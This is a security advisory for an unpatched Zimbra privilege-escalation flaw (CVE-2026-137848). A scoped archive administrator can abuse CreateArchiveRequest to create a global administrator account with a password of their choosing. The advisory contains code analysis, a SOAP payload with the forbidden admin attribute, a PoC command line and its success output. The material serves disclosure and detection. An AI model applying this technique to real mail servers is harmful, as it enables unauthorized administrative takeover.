--- cve: CVE-2026-137848 cna: Rapid7 credit: Jonah Burgess (Rapid7) severity: "High (Rapid7)" cvss_v3_1: "8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" cwe: "CWE-862" affected_versions: "10.1.0 through 10.1.22 with Archiving and Discovery enabled" fixed_versions: "No confirmed fix" --- # CVE-2026-137848: Scoped Archive Administrator Creates a Global Administrator ## Summary `CreateArchiveRequest` authorizes a delegated administrator only against the source account's `manageAccountArchives` or `manageCalendarResourceArchives` right. It then passes an attacker-selected archive address, password, [Class of Service (COS)](https://zimbra.github.io/documentation/zimbra-10/adminguide.html#class_of_service_and_accounts), and arbitrary account attributes to raw LDAP provisioning without authorizing creation of the target account or domain. A scoped archive administrator can therefore create a chosen-password account with `zimbraIsAdminAccount=TRUE`, authenticate to admin SOAP as a global administrator and escape every delegated scope restriction. ## Prerequisites and Scope The Network Edition archive extension and license capacity must be available. The attacker needs a delegated-administrator account with archive-management authority over one source account or calendar resource, and direct HTTPS/7071 access to admin SOAP. ## Technical Analysis ### Authorization covers only the source account `CreateArchive.java`'s `handleNetworkRequest()` processes the source and target account parameters in this path: ```java Element a = request.getElement("account"); String key = a.getAttribute("by"); String value = a.getText(); Key.AccountBy by = Key.AccountBy.fromString((String)key); Account account = prov.get(by, value, lc.getAuthToken()); this.defendAgainstAccountOrCalendarResourceHarvesting(account, by, value, lc, Rights.Admin.R_manageAccountArchives, Rights.Admin.R_manageCalendarResourceArchives); // [0] source archive right String archiveAddr = null; String archivePassword = null; Cos archiveCos = null; Map archiveAttrs = null; Element eArchive = request.getOptionalElement("archive"); if (eArchive != null) { Element passElem; Element nameElem = eArchive.getOptionalElement("name"); if (nameElem != null) { archiveAddr = nameElem.getText(); } archiveAttrs = AdminService.getAttrs((Element)eArchive, (boolean)true); // [1] attacker account attributes // ... optional COS lookup omitted ... if ((passElem = eArchive.getOptionalElement("password")) != null) { archivePassword = passElem.getText(); } } ArchiveLdapProvisioning archiveProv = new ArchiveLdapProvisioning(); archiveProv.createArchive(account, archiveAddr, archivePassword, archiveAttrs, archiveCos); // [2] unchecked archive provisioning ``` `[0]` checks only the existing source. `[1]` collects arbitrary `` elements, and `[2]` forwards them with the selected address and password. There is no target-domain `createAccount` check, per-attribute check, or `assignCos` check. ### `ArchiveLdapProvisioning.java` creates the domain and preserves attacker attributes ```java private void autoCreateDomainForAddress(Provisioning prov, String addr) throws ServiceException { String domain = EmailUtil.getValidDomainPart((String)addr); if (domain == null) { throw ServiceException.INVALID_REQUEST((String)("can't extract domain from: " + addr), null); } if (prov.get(Key.DomainBy.name, domain) == null) { prov.createDomain(domain, new HashMap()); // [3] implicit domain creation } } ``` At `[3]`, archive provisioning creates a missing target domain without checking the caller's domain-creation authority. `createArchiveAccount()` applies defaults and creates the account as follows: ```java private void setIfNotSet(Map attrs, String key, String value) { if (!attrs.containsKey(key)) { attrs.put(key, value); } } // ... deriveArchiveName() and autoCreateDomainForAddress() omitted ... private Account createArchiveAccount(Provisioning prov, String name, String passwd, Map attrs) throws ServiceException { this.setIfNotSet(attrs, "amavisBypassSpamChecks", "TRUE"); this.setIfNotSet(attrs, "amavisBypassVirusChecks", "TRUE"); this.setIfNotSet(attrs, "zimbraHideInGal", "TRUE"); this.setIfNotSet(attrs, "zimbraIsSystemResource", "TRUE"); this.setIfNotSet(attrs, "zimbraMailQuota", "0"); Account archiveAccount = prov.createAccount(name, passwd, attrs); // [4] raw account creation return archiveAccount; } ``` An attacker-supplied `zimbraIsAdminAccount=TRUE` survives into `[4]`, and `zimbraIsSystemResource=FALSE` can override the archive default. The standard account handler in `CreateAccount.java` performs the checks omitted above: ```java String name = req.getName().toLowerCase(); Map attrs = req.getAttrsAsOldMultimap(true); this.checkDomainRightByEmail(zsc, name, Rights.Admin.R_createAccount); // [5] target-domain check this.checkSetAttrsOnCreate(zsc, TargetType.account, name, attrs); // [6] attribute authorization this.checkCos(zsc, attrs); // [7] COS authorization AccountListener.invokeBeforeAccountCreation(name, attrs); account = prov.createAccount(name, req.getPassword(), attrs); ``` `[5]` performs the target-domain `createAccount` check, `[6]` reaches the delegated-admin attribute rules, and `[7]` checks the selected COS. Those hard rules in `HardRules.java` explicitly forbid the attribute: ```java HashSet forbiddenAttr = new HashSet(); forbiddenAttr.add("zimbraIsAdminAccount".toLowerCase()); // [8] global-admin attribute forbidden ALWAYS_FORBIDDEN_ATTRS = Collections.unmodifiableSet(forbiddenAttr); ``` The archive path bypasses `[5]` through `[8]` entirely. ## Exploitation PoC: [archive_admin_global_admin.py](../pocs/CVE-2026-137848/archive_admin_global_admin.py). Using a delegated-admin token, the attacker targets any source inside their narrow archive scope and supplies the new account parameters: ```xml source-in-delegated-scope@lab.local archive-admin@unmanaged-or-new-domain.test AttackerChosenSecret! TRUE FALSE ``` A normal `CreateAccountRequest` with the same sensitive attribute returned `service.PERM_DENIED`. Using the scoped administrator's password and the password assigned to the new account, the PoC first requires the standard account-creation path to deny the same target. It then sends `CreateArchiveRequest`, authenticates with the chosen password and verifies global-administrator authority: ```shell python3 pocs/CVE-2026-137848/archive_admin_global_admin.py \ --target https://mail.lab.local \ --username scoped-archive-admin-52af6b23396c@lab.local \ --password '' \ --source-account archive-source-52af6b23396c@lab.local \ --new-admin archive-global-admin-52af6b23396c@lab.local \ --new-password '' \ --insecure ``` ``` [+] authenticated as archive administrator scoped-archive-admin-52af6b23396c@lab.local [+] standard CreateAccountRequest denied global-admin creation: service.PERM_DENIED [+] CreateArchiveRequest created archive-global-admin-52af6b23396c@lab.local with global-admin attributes [+] authenticated to admin SOAP as archive-global-admin-52af6b23396c@lab.local [+] exact global-admin attributes and GetAllDomainsRequest authority confirmed ``` The final check requires `zimbraIsAdminAccount: TRUE`, `zimbraIsSystemResource: FALSE` and the target domain in `GetAllDomainsResponse`. ## Impact A scoped delegated administrator becomes a persistent chosen-password global administrator, can create an otherwise unauthorized domain and account, and can assign security-sensitive attributes. This scores [**8.8 High**](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). PR:L reflects archive-management authority over one source account, which does not confer account-creation or global-administrator authority. ## Patch Status No fixed release has been established through ZCS 10.1.22. ## Indicators of Compromise (IoCs) Compare newly created global administrators with approved accounts and preceding archive operations. The [administrator-account hunt](../detections/administration.md#unexpected-global-administrators) includes a direct LDAP query.